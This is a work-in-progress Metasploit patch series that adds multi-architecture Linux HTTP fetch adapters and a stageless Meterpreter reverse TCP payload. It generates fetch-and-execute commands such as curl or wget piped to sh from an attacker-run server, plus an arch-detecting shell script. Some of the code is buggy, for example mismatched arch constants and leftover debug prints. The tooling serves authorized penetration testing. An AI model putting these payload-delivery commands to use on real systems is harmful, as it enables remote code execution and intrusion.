From 8521c193707eddca78756ab8ef411e531c4713aa Mon Sep 17 00:00:00 2001 From: bwatters-r7 Date: Fri, 24 Apr 2026 20:44:12 -0500 Subject: [PATCH 01/18] Another attampt at fetch multi --- .../base/sessions/meterpreter_multi_linux.rb | 26 +++ lib/msf/core/payload/adapter/fetch.rb | 172 +++++++---------- lib/msf/core/payload/adapter/fetch/multi.rb | 131 +++++++++++++ lib/msf/core/payload/adapter/fetch/pipe.rb | 87 +++++++++ .../core/payload/adapter/fetch/server/http.rb | 179 ++++++++++-------- lib/msf/core/payload/linux/multi_arch.rb | 92 +++++++++ .../payloads/adapters/cmd/linux/http/multi.rb | 25 +++ .../linux/multi/meterpreter_reverse_tcp.rb | 38 ++++ 8 files changed, 559 insertions(+), 191 deletions(-) create mode 100644 lib/msf/base/sessions/meterpreter_multi_linux.rb create mode 100644 lib/msf/core/payload/adapter/fetch/multi.rb create mode 100644 lib/msf/core/payload/adapter/fetch/pipe.rb create mode 100644 lib/msf/core/payload/linux/multi_arch.rb create mode 100644 modules/payloads/adapters/cmd/linux/http/multi.rb create mode 100644 modules/payloads/singles/linux/multi/meterpreter_reverse_tcp.rb diff --git a/lib/msf/base/sessions/meterpreter_multi_linux.rb b/lib/msf/base/sessions/meterpreter_multi_linux.rb new file mode 100644 index 0000000000000..4ebdb4932831d --- /dev/null +++ b/lib/msf/base/sessions/meterpreter_multi_linux.rb @@ -0,0 +1,26 @@ +# -*- coding: binary -*- + +module Msf + module Sessions + ### + # + # This class creates a platform-specific, architecture agnostic meterpreter session type + # + ### + class MeterpreterMultiLinux < Msf::Sessions::Meterpreter + def supports_ssl? + false + end + + def supports_zlib? + false + end + + def initialize(rstream, opts = {}) + super + self.base_platform = 'linux' + self.base_arch = ARCH_ANY # will be populated automatically + end + end + end +end \ No newline at end of file diff --git a/lib/msf/core/payload/adapter/fetch.rb b/lib/msf/core/payload/adapter/fetch.rb index 9aa557ba261ce..718bd0074fb59 100644 --- a/lib/msf/core/payload/adapter/fetch.rb +++ b/lib/msf/core/payload/adapter/fetch.rb @@ -1,5 +1,6 @@ module Msf::Payload::Adapter::Fetch include Msf::Payload::Adapter::Fetch::Fileless + include Msf::Payload::Adapter::Fetch::Pipe # Initializes the fetch adapter state and registers datastore options used to # stage and serve the adapted payload. @@ -24,9 +25,12 @@ def initialize(*args) Msf::OptBool.new('FetchHandlerDisable', [true, 'Disable fetch handler', false]) ] ) + deregister_options('REQUESTED_ARCH', 'FETCH_FILENAME') @fetch_service = nil + @multi_arch = nil @myresources = [] @srvexe = '' + @srv_resources = [] @pipe_uri = nil @pipe_cmd = nil @remote_destination_win = nil @@ -76,8 +80,8 @@ def default_srvuri(extra_data = nil) # Returns the payload download URI served by the fetch listener. # # @return [String] The URI path and authority for the generated payload. - def download_uri - "#{srvnetloc}/#{srvuri}" + def download_uri(uri) + "#{srvnetloc}/#{uri}" end # Returns the pipe download URI used when serving commands over FETCH_PIPE. @@ -100,7 +104,17 @@ def fetch_bindhost def fetch_bindport datastore['FetchListenerBindPort'].blank? ? srvport : datastore['FetchListenerBindPort'] end - + + def add_srv_entry(uri, data, arch = ARCH_CMD) + vprint_status "#{__LINE__}" + srv_entry = { + :arch => arch, + :uri => uri, + :data => data + } + @srv_resources << srv_entry + end + # Returns the authority string used by the fetch listener socket. # # @return [String] The host:port pair for the fetch listener. @@ -124,64 +138,58 @@ def pipe_supported_binaries # @param opts [Hash] Payload generation options. # @return [String] The fetch command to run on the target. def generate(opts = {}) + vprint_status "#{__method__}" + vprint_status "#{__LINE__}" opts[:arch] ||= module_info['AdaptedArch'] - opts[:code] = super - @srvexe = generate_payload_exe(opts) + @payload_opts = opts[:arch] + dynamic_arch = false + vprint_status "#{__LINE__}" + if opts[:arch] == ARCH_ANY && module_info['AdaptedPlatform'] == 'linux' + vprint_status "#{__LINE__}" + dynamic_arch = true + add_srv_entry(srvuri, 'x', opts) + else + vprint_status "#{__LINE__}" + dynamic_arch = false + add_srv_entry(srvuri, generate_payload_exe(opts), opts) + end + + vprint_status "#{__LINE__}" + cmd = generate_fetch_commands(srvuri, dynamic_arch) if datastore['FETCH_PIPE'] + vprint_status "#{__LINE__}" unless pipe_supported_binaries.include?(datastore['FETCH_COMMAND'].upcase) fail_with(Msf::Module::Failure::BadConfig, "Unsupported binary selected for FETCH_PIPE option: #{datastore['FETCH_COMMAND']}, must be one of #{pipe_supported_binaries}.") end - @pipe_cmd = generate_fetch_commands - @pipe_cmd << "\n" if windows? #need CR when we pipe command in Windows - vprint_status("Command served: #{@pipe_cmd}") - cmd = generate_pipe_command - else - cmd = generate_fetch_commands + cmd << '\n' if windows? # Needs CR for Windows command + add_srv_entry(pipe_srvuri, cmd) + cmd = generate_pipe_command(pipe_srvuri) end - vprint_status("Command to run on remote host: #{cmd}") + vprint_status "#{__LINE__}" + vprint_status("Command to execute on target: #{cmd}") cmd end - # Builds the fetch command used to execute a payload directly from a pipe. - # - # @return [String] The pipe-based execution command. - def generate_pipe_command - # TODO: Make a check method that determines if we support a platform/server/command combination - @pipe_uri = pipe_srvuri - - case datastore['FETCH_COMMAND'].upcase - when 'WGET' - return _generate_wget_pipe - when 'GET' - return _generate_get_pipe - when 'CURL' - return _generate_curl_pipe - else - fail_with(Msf::Module::Failure::BadConfig, "Unsupported binary selected for FETCH_PIPE option: #{datastore['FETCH_COMMAND']}, must be one of #{pipe_supported_binaries}.") - end - end - # Dispatches command generation to the selected FETCH_COMMAND helper. # # @return [String] The generated fetch-and-execute command. - def generate_fetch_commands + def generate_fetch_commands(uri, dynamic_arch) # TODO: Make a check method that determines if we support a platform/server/command combination # + vprint_status "#{__method__}" case datastore['FETCH_COMMAND'].upcase when 'FTP' - return _generate_ftp_command + return _generate_ftp_command(uri) when 'TNFTP' - return _generate_tnftp_command + return _generate_tnftp_command(uri) when 'WGET' - return _generate_wget_command - when 'GET' - return _generate_get_command + return _generate_wget_command(uri) when 'CURL' - return _generate_curl_command + return _generate_curl_command(uri, dynamic_arch) when 'TFTP' - return _generate_tftp_command + return _generate_tftp_command(uri) when 'CERTUTIL' - return _generate_certutil_command + return _generate_certutil_command(uri) else fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected') end @@ -194,6 +202,7 @@ def generate_fetch_commands # @return [String] The generated stage contents. def generate_stage(opts = {}) opts[:arch] ||= module_info['AdaptedArch'] + conf[:arch] = @multi_arch unless @multi_arch.nil? super end @@ -204,6 +213,7 @@ def generate_stage(opts = {}) # @return [PayloadUUID] The generated payload UUID. def generate_payload_uuid(conf = {}) conf[:arch] ||= module_info['AdaptedArch'] + conf[:arch] = @multi_arch unless @multi_arch.nil? conf[:platform] ||= module_info['AdaptedPlatform'] super end @@ -376,10 +386,10 @@ def _execute_nix(get_file_cmd) # Builds a certutil-based command line for fetching the payload on Windows. # # @return [String] The certutil fetch-and-execute command. - def _generate_certutil_command + def _generate_certutil_command(uri) case fetch_protocol when 'HTTP' - get_file_cmd = "certutil -urlcache -f http://#{download_uri} #{_remote_destination}" + get_file_cmd = "certutil -urlcache -f http://#{download_uri(uri)} #{_remote_destination}" when 'HTTPS' # I don't think there is a way to disable cert check in certutil.... print_error('CERTUTIL binary does not support insecure mode') @@ -393,90 +403,53 @@ def _generate_certutil_command # Builds a curl-based command line for fetching the payload. # # @return [String] The curl fetch-and-execute command. - def _generate_curl_command + def _generate_curl_command(uri, dynamic_arch) case fetch_protocol when 'HTTP' - get_file_cmd = "curl -so #{_remote_destination} http://#{download_uri}" + get_file_cmd = "curl -so #{_remote_destination} http://#{download_uri(uri)}" + get_file_cmd << "?arch=$(uname -m)" if dynamic_arch when 'HTTPS' - get_file_cmd = "curl -sko #{_remote_destination} https://#{download_uri}" + get_file_cmd = "curl -sko #{_remote_destination} https://#{download_uri(uri)}" when 'TFTP' - get_file_cmd = "curl -so #{_remote_destination} tftp://#{download_uri}" + get_file_cmd = "curl -so #{_remote_destination} tftp://#{download_uri(uri)}" else fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected') end _execute_add(get_file_cmd) end - # Builds a curl command that streams a served command directly into a shell. - # - # @return [String] The curl pipe command. - def _generate_curl_pipe - execute_cmd = 'sh' - execute_cmd = 'cmd' if windows? - case fetch_protocol - when 'HTTP' - return "curl -s http://#{_download_pipe}|#{execute_cmd}" - when 'HTTPS' - return "curl -sk https://#{_download_pipe}|#{execute_cmd}" - else - fail_with(Msf::Module::Failure::BadConfig, "Unsupported protocol: #{fetch_protocol.inspect}") - end - end - # Builds a GET-based command line for fetching the payload. # # @return [String] The GET fetch-and-execute command. - def _generate_get_command + def _generate_get_command(uri) # Specifying the method (-m GET) is necessary on OSX case fetch_protocol when 'HTTP' - get_file_cmd = "GET -m GET http://#{download_uri}>#{_remote_destination}" + get_file_cmd = "GET -m GET http://#{download_uri(uri)}>#{_remote_destination}" when 'HTTPS' # There is no way to disable cert check in GET ... print_error('GET binary does not support insecure mode') fail_with(Msf::Module::Failure::BadConfig, 'FETCH_CHECK_CERT must be true when using GET') - get_file_cmd = "GET -m GET https://#{download_uri}>#{_remote_destination}" + get_file_cmd = "GET -m GET https://#{download_uri(uri)}>#{_remote_destination}" when 'FTP' - get_file_cmd = "GET ftp://#{download_uri}>#{_remote_destination}" + get_file_cmd = "GET ftp://#{download_uri(uri)}>#{_remote_destination}" else fail_with(Msf::Module::Failure::BadConfig, "Unsupported protocol: #{fetch_protocol.inspect}") end _execute_add(get_file_cmd) end - # Builds a GET command that streams a served command directly into a shell. - # - # @return [String] The GET pipe command. - def _generate_get_pipe - # Specifying the method (-m GET) is necessary on OSX - execute_cmd = 'sh' - execute_cmd = 'cmd' if windows? - case fetch_protocol - when 'HTTP' - return "GET -m GET http://#{_download_pipe}|#{execute_cmd}" - when 'HTTPS' - # There is no way to disable cert check in GET ... - print_error('GET binary does not support insecure mode') - fail_with(Msf::Module::Failure::BadConfig, 'FETCH_CHECK_CERT must be true when using GET') - return "GET -m GET https://#{_download_pipe}|#{execute_cmd}" - when 'FTP' - return "GET ftp://#{_download_pipe}|#{execute_cmd}" - else - fail_with(Msf::Module::Failure::BadConfig, "Unsupported protocol: #{fetch_protocol.inspect}") - end - end - # Builds an ftp command line for fetching the payload. # # @return [String] The ftp fetch-and-execute command. - def _generate_ftp_command + def _generate_ftp_command(uri) case fetch_protocol when 'FTP' - get_file_cmd = "ftp -Vo #{_remote_destination_nix} ftp://#{download_uri}" + get_file_cmd = "ftp -Vo #{_remote_destination_nix} ftp://#{download_uri(uri)}" when 'HTTP' - get_file_cmd = "ftp -Vo #{_remote_destination_nix} http://#{download_uri}" + get_file_cmd = "ftp -Vo #{_remote_destination_nix} http://#{download_uri(uri)}" when 'HTTPS' - get_file_cmd = "ftp -Vo #{_remote_destination_nix} https://#{download_uri}" + get_file_cmd = "ftp -Vo #{_remote_destination_nix} https://#{download_uri(uri)}" else fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected') end @@ -536,24 +509,9 @@ def _generate_wget_command else fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected') end - _execute_add(get_file_cmd) end - # Builds a wget command that streams a served command directly into a shell. - # - # @return [String] The wget pipe command. - def _generate_wget_pipe - case fetch_protocol - when 'HTTPS' - return "wget --no-check-certificate -qO- https://#{_download_pipe}|sh" - when 'HTTP' - return "wget -qO- http://#{_download_pipe}|sh" - else - fail_with(Msf::Module::Failure::BadConfig, "Unsupported protocol: #{fetch_protocol.inspect}") - end - end - # Returns the platform-appropriate destination path used by download # commands. # diff --git a/lib/msf/core/payload/adapter/fetch/multi.rb b/lib/msf/core/payload/adapter/fetch/multi.rb new file mode 100644 index 0000000000000..7a2a06595cdf4 --- /dev/null +++ b/lib/msf/core/payload/adapter/fetch/multi.rb @@ -0,0 +1,131 @@ +module Msf + ### + # + # Common library for http multi-arch fetch payloads + # + ### + module Payload::Adapter::Fetch::Multi + + def _generate_multi_commands(arch_payloads = []) + # There is a great deal of room for improvement here. + script = 'archinfo=$(uname -m);' + arch_payloads.each do |srv_entry| + vprint_status("Adding #{srv_entry[:uri]} for #{srv_entry[:arch]}") + datastore['FETCH_FILENAME'] = srv_entry[:uri].dup + vprint_status(datastore['FETCH_FILENAME']) + vprint_status(datastore['FETCH_FILENAME']) + os_arches(srv_entry[:arch]).each do |os_arch| + # placing an exit after the conditionals causes 'FETCH_FILELESS to fail' + if datastore['FETCH_FILELESS'] == 'none' + script << "if [ #{os_arch} = $archinfo ]; then (#{generate_fetch_commands(srv_entry[:uri])}); exit ;fi; " + else + script << "if [ #{os_arch} = $archinfo ]; then (#{generate_fetch_commands(srv_entry[:uri])}); fi; " + end + end + vprint_status(datastore['FETCH_FILENAME']) + end + script << _generate_bruteforce_multi_commands(arch_payloads) if datastore['FETCH_BRUTEFORCE'] + vprint_status(script) + script + end + + def _generate_bruteforce_multi_commands(arch_payloads = []) + # Don't bother trying to figure out the OS arch.... just try to run them all. + script = '' + arch_payloads.each do |srv_entry| + vprint_status("Adding #{srv_entry[:uri]} for #{srv_entry[:arch]}") + datastore['FETCH_FILENAME'] = srv_entry[:uri].dup + vprint_status(datastore['FETCH_FILENAME']) + script << generate_fetch_commands(srv_entry[:uri]).to_s + end + print_status(script) + script + end + + def os_arches(meterp_arch) + # multiple `uname -m` values map to the same payload arch + # we will probably need to expand this + case meterp_arch + when ARCH_AARCH64 + return ['aarch64'] + when ARCH_ARMBE + return ['armbe'] + when ARCH_ARMLE + return ['armv5l', 'armv6l', 'armv7l'] + when ARCH_MIPS64 + return ['mips64'] + when ARCH_MIPSBE + return ['mipsbe'] + when ARCH_MIPSLE + return ['mips'] + when ARCH_PPC + return ['ppc'] + when ARCH_PPCE500V2 + return ['ppce500v2'] + when ARCH_PPC64LE + return ['ppc64le'] + when ARCH_X64 + return ['x64', 'x86_64'] + when ARCH_X86 + return ['x86'] + when ARCH_ZARCH + return ['zarch'] + end + end + + def to_meterp_arch(os_arch) + # multiple `uname -m` values map to the same payload arch + # we will probably need to expand this + vprint_status("Searching for #{os_arch}") + case os_arch + when 'aarch64' + return ARCH_AARCH64 + when 'armbe' + return ARCH_ARMBE + when 'armv5l' + return ARCH_ARMLE + when 'armv6l' + return ARCH_ARMLE + when 'armv7l' + return ARCH_ARMLE + when 'mips64' + return ARCH_MIPS64 + when 'mipsbe' + return ARCH_MIPSBE + when 'mips' + return ARCH_MIPSLE + when 'ppc' + return ARCH_PPC + when 'ppce500v2' + return ARCH_PPCE500V2 + when 'ppc64le' + return ARCH_PPC64LE + when 'x64' + return ARCH_X64 + when 'x86_64' + return ARCH_X64 + when 'x86' + return ARCH_X86 + when 'zarch' + return ARCH_ZARCH + vprint_status('Nothing Found') + end + end + def multi_arches + arches = [] + arches << ARCH_AARCH64 + arches << ARCH_ARMBE + arches << ARCH_ARMLE + arches << ARCH_MIPS64 + arches << ARCH_MIPSBE + arches << ARCH_MIPSLE + arches << ARCH_PPC + arches << ARCH_PPCE500V2 + arches << ARCH_PPC64LE + arches << ARCH_X64 + arches << ARCH_X86 + arches << ARCH_ZARCH + arches + end + end +end \ No newline at end of file diff --git a/lib/msf/core/payload/adapter/fetch/pipe.rb b/lib/msf/core/payload/adapter/fetch/pipe.rb new file mode 100644 index 0000000000000..80d8cb4e0e0f7 --- /dev/null +++ b/lib/msf/core/payload/adapter/fetch/pipe.rb @@ -0,0 +1,87 @@ +module Msf + ### + # + # Common library for pipe-enabled fetch payloads + # + ### + module Payload::Adapter::Fetch::Pipe + + def _download_pipe(uripath) + "#{srvnetloc}/#{uripath}" + end + + def pipe_supported_binaries + # this is going to expand when we add psh support + return %w[CURL] if windows? + + %w[WGET CURL] + end + + def generate_pipe_command(uri) + # TODO: Make a check method that determines if we support a platform/server/command combination + + case datastore['FETCH_COMMAND'].upcase + when 'WGET' + return _generate_wget_pipe(uri) + when 'CURL' + return _generate_curl_pipe(uri) + else + fail_with(Msf::Module::Failure::BadConfig, "Unsupported binary selected for FETCH_PIPE option: #{datastore['FETCH_COMMAND']}, must be one of #{pipe_supported_binaries}.") + end + end + + def pipe_srvuri + return datastore['FETCH_URIPATH'] unless datastore['FETCH_URIPATH'].blank? + + default_srvuri('pipe') + end + + def _generate_curl_pipe(uri) + execute_cmd = 'sh' + execute_cmd = 'cmd' if windows? + case fetch_protocol + when 'HTTP' + return "curl -s http://#{_download_pipe(uri)}|#{execute_cmd}" + when 'HTTPS' + return "curl -sk https://#{_download_pipe(uri)}|#{execute_cmd}" + else + fail_with(Msf::Module::Failure::BadConfig, "Unsupported protocol: #{fetch_protocol.inspect}") + end + end + + def _generate_wget_pipe(uri) + case fetch_protocol + when 'HTTPS' + return "wget --no-check-certificate -qO- https://#{_download_pipe(uri)}|sh" + when 'HTTP' + return "wget -qO- http://#{_download_pipe(uri)}|sh" + else + fail_with(Msf::Module::Failure::BadConfig, "Unsupported protocol: #{fetch_protocol.inspect}") + end + end + + # Builds a GET command that streams a served command directly into a shell. + # + # @return [String] The GET pipe command. + def _generate_get_pipe(uri) + # Specifying the method (-m GET) is necessary on OSX + execute_cmd = 'sh' + execute_cmd = 'cmd' if windows? + case fetch_protocol + when 'HTTP' + return "GET -m GET http://#{_download_pipe(uri)}|#{execute_cmd}" + when 'HTTPS' + # There is no way to disable cert check in GET ... + print_error('GET binary does not support insecure mode') + fail_with(Msf::Module::Failure::BadConfig, 'FETCH_CHECK_CERT must be true when using GET') + return "GET -m GET https://#{_download_pipe(uri)}|#{execute_cmd}" + when 'FTP' + return "GET ftp://#{_download_pipe(uri)}|#{execute_cmd}" + else + fail_with(Msf::Module::Failure::BadConfig, "Unsupported protocol: #{fetch_protocol.inspect}") + end + end + + + end +end \ No newline at end of file diff --git a/lib/msf/core/payload/adapter/fetch/server/http.rb b/lib/msf/core/payload/adapter/fetch/server/http.rb index 9b24273bd037a..e148dad896e9c 100644 --- a/lib/msf/core/payload/adapter/fetch/server/http.rb +++ b/lib/msf/core/payload/adapter/fetch/server/http.rb @@ -1,104 +1,115 @@ -module Msf::Payload::Adapter::Fetch::Server::HTTP - +module Msf # This mixin supports only HTTP fetch handlers. + module Payload::Adapter::Fetch::Server::HTTP - def initialize(*args) - super - register_advanced_options( - [ - Msf::OptString.new('FetchHttpServerName', [true, 'Fetch HTTP server name', 'Apache']) - ] - ) - end + include Payload::Adapter::Fetch::Multi + def initialize(*args) + super + register_advanced_options( + [ + Msf::OptString.new('FetchHttpServerName', [true, 'Fetch HTTP server name', 'Apache']) + ] + ) + end - def fetch_protocol - 'HTTP' - end + def fetch_protocol + 'HTTP' + end - def srvname - datastore['FetchHttpServerName'] - end + def srvname + datastore['FetchHttpServerName'] + end - def add_resource(fetch_service, uri, srvexe) - vprint_status("Adding resource #{uri}") - begin - if fetch_service.resources.include?(uri) + def add_resource(fetch_service, uri, opts) + vprint_status("Adding resource #{uri}") + begin + if fetch_service.resources.include?(uri) + # When we clean up, we need to leave resources alone, because we never added one. + fail_with(Msf::Exploit::Failure::BadConfig, 'Resource collision detected. Set FETCH_URIPATH to a different value to continue.') + end + fetch_service.add_resource(uri, + 'Proc' => proc do |cli, req| + on_request_uri(cli, req, opts) + end, + 'VirtualDirectory' => true) + rescue ::Exception => e # When we clean up, we need to leave resources alone, because we never added one. - fail_with(Msf::Exploit::Failure::BadConfig, "Resource collision detected. Set FETCH_URIPATH to a different value to continue.") + fail_with(Msf::Exploit::Failure::Unknown, "Failed to add resource\n#{e}") end - fetch_service.add_resource(uri, - 'Proc' => proc do |cli, req| - on_request_uri(cli, req, srvexe) - end, - 'VirtualDirectory' => true) - rescue ::Exception => e - # When we clean up, we need to leave resources alone, because we never added one. - fail_with(Msf::Exploit::Failure::Unknown, "Failed to add resource\n#{e}") + @myresources << uri end - @myresources << uri - end - def cleanup_http_fetch_service(fetch_service, my_resources) - my_resources.each do |uri| - if fetch_service.resources.include?(uri) - fetch_service.remove_resource(uri) + def cleanup_http_fetch_service(fetch_service, my_resources) + my_resources.each do |uri| + if fetch_service.resources.include?(uri) + fetch_service.remove_resource(uri) + end end + fetch_service.deref end - fetch_service.deref - end - - def start_http_fetch_handler(srvname, ssl=false, ssl_cert=nil, ssl_compression=nil, ssl_cipher=nil, ssl_version=nil) - # this looks a bit funny because I converted it to use an instance variable so that if we crash in the - # middle and don't return a value, we still have the right fetch_service to clean up. - fetch_service = start_http_server(ssl, ssl_cert, ssl_compression, ssl_cipher, ssl_version) - if fetch_service.nil? - cleanup_handler - fail_with(Msf::Exploit::Failure::BadConfig, "Fetch handler failed to start on #{fetch_bindnetloc}") + def start_http_fetch_handler(srvname, ssl = false, ssl_cert = nil, ssl_compression = nil, ssl_cipher = nil, ssl_version = nil) + # this looks a bit funny because I converted it to use an instance variable so that if we crash in the + # middle and don't return a value, we still have the right fetch_service to clean up. + fetch_service = start_http_server(ssl, ssl_cert, ssl_compression, ssl_cipher, ssl_version) + if fetch_service.nil? + cleanup_handler + fail_with(Msf::Exploit::Failure::BadConfig, "Fetch handler failed to start on #{fetch_bindnetloc}") + end + vprint_status("#{fetch_protocol} server started") + fetch_service.server_name = srvname + fetch_service end - vprint_status("#{fetch_protocol} server started") - fetch_service.server_name = srvname - fetch_service - end - def on_request_uri(cli, request, srvexe) - client = cli.peerhost - vprint_status("Client #{client} requested #{request.uri}") - if (user_agent = request.headers['User-Agent']) - client += " (#{user_agent})" + def on_request_uri(cli, request, opts) + client = cli.peerhost + vprint_status("Client #{client} requested #{request.uri}") + if (user_agent = request.headers['User-Agent']) + client += " (#{user_agent})" + end + vprint_status("Sending payload to #{client}") + vprint_status request.to_s + vprint_status request.uri_parts['QueryString']['arch'].to_s + arch = to_meterp_arch(request.uri_parts['QueryString']['arch']) + vprint_status("Building payload for #{arch} arch") + vprint_status(opts[:arch]) + opts[:arch] = arch + vprint_status("1") + @multi_arch = arch + vprint_status("2") + opts[:code] = super(opts) + cli.send_response(payload_response(generate_payload_exe(opts))) end - vprint_status("Sending payload to #{client}") - cli.send_response(payload_response(srvexe)) - end - def payload_response(srvexe) - res = Rex::Proto::Http::Response.new(200, 'OK', Rex::Proto::Http::DefaultProtocol) - res['Content-Type'] = 'text/html' - res.body = srvexe.to_s.unpack('C*').pack('C*') - res - end + def payload_response(srvexe) + res = Rex::Proto::Http::Response.new(200, 'OK', Rex::Proto::Http::DefaultProtocol) + res['Content-Type'] = 'text/html' + res.body = srvexe.to_s.unpack('C*').pack('C*') + res + end - def start_http_server(ssl=false, ssl_cert=nil, ssl_compression=nil, ssl_cipher=nil, ssl_version=nil) - begin - fetch_service = Rex::ServiceManager.start( - Rex::Proto::Http::Server, - fetch_bindport, fetch_bindhost, ssl, - { - 'Msf' => framework, - 'MsfExploit' => self - }, - _determine_server_comm(fetch_bindhost), - ssl_cert, - ssl_compression, - ssl_cipher, - ssl_version - ) - rescue Exception => e - cleanup_handler - fail_with(Msf::Exploit::Failure::BadConfig, "Fetch handler failed to start on #{fetch_bindnetloc}\n#{e}") + def start_http_server(ssl = false, ssl_cert = nil, ssl_compression = nil, ssl_cipher = nil, ssl_version = nil) + begin + fetch_service = Rex::ServiceManager.start( + Rex::Proto::Http::Server, + fetch_bindport, fetch_bindhost, ssl, + { + 'Msf' => framework, + 'MsfExploit' => self + }, + _determine_server_comm(fetch_bindhost), + ssl_cert, + ssl_compression, + ssl_cipher, + ssl_version + ) + rescue Exception => e + cleanup_handler + fail_with(Msf::Exploit::Failure::BadConfig, "Fetch handler failed to start on #{fetch_bindnetloc}\n#{e}") + end + vprint_status("Fetch handler listening on #{fetch_bindnetloc}") + fetch_service end - vprint_status("Fetch handler listening on #{fetch_bindnetloc}") - fetch_service end -end +end \ No newline at end of file diff --git a/lib/msf/core/payload/linux/multi_arch.rb b/lib/msf/core/payload/linux/multi_arch.rb new file mode 100644 index 0000000000000..df9604d03cfea --- /dev/null +++ b/lib/msf/core/payload/linux/multi_arch.rb @@ -0,0 +1,92 @@ +# Linux Multi shared logic. +# +module Msf::Payload::Linux::MultiArch + def initialize(info = {}) + super + register_options( + [ + Msf::OptEnum.new('REQUESTED_ARCH', [true, 'The desired architecture of the returned payload.', 'NONE', [ 'NONE', 'ARCH_AARCH64', 'ARCH_ARMBE', 'ARCH_ARMLE', 'ARCH_MIPS64', 'ARCH_MIPSBE', 'ARCH_MIPSLE', 'ARCH_PPC', 'ARCH_PPCE500V2', 'ARCH_PPC64LE', 'ARCH_X64', 'ARCH_X86', 'ARCH_ZARCH' ]]), + ] + ) + end + + def generate_payload_uuid(conf = {}) + conf[:arch] = metasploit_arch_transform(desired_arch(conf)) + super + end + + def include_send_uuid + true + end + + def mettle_arch_transform(arch) + case arch + when ARCH_AARCH64, 'ARCH_AARCH64' + return 'aarch64-linux-musl' + when ARCH_ARMBE, 'ARCH_ARMBE' + return 'armv5b-linux-musleabi' + when ARCH_ARMLE, 'ARCH_ARMLE' + return 'armv5l-linux-musleabi' + when ARCH_MIPS64, 'ARCH_MIPS64' + return 'mips64-linux-muslsf' + when ARCH_MIPSBE, 'ARCH_MIPSBE' + return 'mips-linux-muslsf' + when ARCH_MIPSLE, 'ARCH_MIPSLE' + return 'mipsel-linux-muslsf' + when ARCH_PPC, 'ARCH_PPC' + return 'powerpc-linux-muslsf' + when ARCH_PPCE500V2, 'ARCH_PPCE500V3' + return 'powerpc-e500v2-linux-musl' + when ARCH_PPC64LE, 'ARCH_PPC64LE' + return 'powerpc64le-linux-musl' + when ARCH_X64, 'ARCH_X86' + return 'x86_64-linux-musl' + when ARCH_X86, 'ARCH_X86' + return 'i486-linux-musl' + when ARCH_ZARCH, 'ARCH_ZARCH' + return 's390x-linux-musl' + else + return nil + end + end + + def metasploit_arch_transform(arch) + case arch + when ARCH_AARCH64, 'ARCH_AARCH64' + return ARCH_AARCH64 + when ARCH_ARMBE, 'ARCH_ARMBE' + return ARCH_ARMBE + when ARCH_ARMLE, 'ARCH_ARMLE' + return ARCH_ARMLE + when ARCH_MIPS64, 'ARCH_MIPS64' + return ARCH_MIPS64 + when ARCH_MIPSBE, 'ARCH_MIPSBE' + return ARCH_MIPSBE + when ARCH_MIPSLE, 'ARCH_MIPSLE' + return ARCH_MIPSLE + when ARCH_PPC, 'ARCH_PPC' + return ARCH_PPC + when ARCH_PPCE500V2, 'ARCH_PPCE500V3' + return ARCH_PPCE500V2 + when ARCH_PPC64LE, 'ARCH_PPC64LE' + return ARCH_PPC64LE + when ARCH_X64, 'ARCH_X86' + return ARCH_X64 + when ARCH_X86, 'ARCH_X86' + return ARCH_X86 + when ARCH_ZARCH, 'ARCH_ZARCH' + return ARCH_ZARCH + else + return nil + end + end + + def desired_arch(opts = {}) + if datastore.include?('REQUESTED_ARCH') && datastore['REQUESTED_ARCH'] != 'NONE' + return_arch = datastore['REQUESTED_ARCH'] + else + return_arch = opts[:arch] + end + return_arch + end +end \ No newline at end of file diff --git a/modules/payloads/adapters/cmd/linux/http/multi.rb b/modules/payloads/adapters/cmd/linux/http/multi.rb new file mode 100644 index 0000000000000..293b8e21de51c --- /dev/null +++ b/modules/payloads/adapters/cmd/linux/http/multi.rb @@ -0,0 +1,25 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + include Msf::Payload::Adapter::Fetch::HTTP + include Msf::Payload::Adapter::Fetch::LinuxOptions + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'HTTP Fetch', + 'Description' => 'Fetch and execute a script to determine the host arch and execute a payload from an HTTP server.', + 'Author' => ['Brendan Watters', 'Spencer McIntyre'], + 'Platform' => 'linux', + 'Arch' => ARCH_CMD, + 'License' => MSF_LICENSE, + 'AdaptedArch' => ARCH_ANY, + 'AdaptedPlatform' => 'linux' + ) + ) + end +end \ No newline at end of file diff --git a/modules/payloads/singles/linux/multi/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/multi/meterpreter_reverse_tcp.rb new file mode 100644 index 0000000000000..504d611051eda --- /dev/null +++ b/modules/payloads/singles/linux/multi/meterpreter_reverse_tcp.rb @@ -0,0 +1,38 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + CachedSize = 1140752 + + include Msf::Payload::Single + include Msf::Sessions::MeterpreterOptions + include Msf::Sessions::MettleConfig + include Msf::Payload::Linux::MultiArch # must be last + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Linux Meterpreter, Reverse TCP Inline', + 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', + 'Author' => 'Brendan Watters ', + 'Platform' => 'linux', + 'Arch' => ARCH_ANY, + 'License' => MSF_LICENSE, + 'Handler' => Msf::Handler::ReverseTcp, + 'Session' => Msf::Sessions::MeterpreterMultiLinux + ) + ) + end + + def generate(opts = {}) + mettle_arch = mettle_arch_transform(desired_arch(opts)) + opts = { + scheme: 'tcp', + stageless: true + }.merge(mettle_logging_config) + MetasploitPayloads::Mettle.new(mettle_arch, generate_config(opts)).to_binary :exec + end +end \ No newline at end of file From 7edbca0ab62b4bd0fae8c45f1bf1f8296d525c39 Mon Sep 17 00:00:00 2001 From: bwatters-r7 Date: Mon, 27 Apr 2026 17:10:35 -0500 Subject: [PATCH 02/18] Working fetch_multi, but everything else is probably broken.... --- lib/msf/core/payload/adapter/fetch.rb | 50 +++++++++++-------- lib/msf/core/payload/adapter/fetch/http.rb | 13 +++-- lib/msf/core/payload/adapter/fetch/multi.rb | 13 ----- .../core/payload/adapter/fetch/server/http.rb | 46 +++++++++++------ .../linux/multi/meterpreter_reverse_tcp.rb | 4 +- 5 files changed, 73 insertions(+), 53 deletions(-) diff --git a/lib/msf/core/payload/adapter/fetch.rb b/lib/msf/core/payload/adapter/fetch.rb index 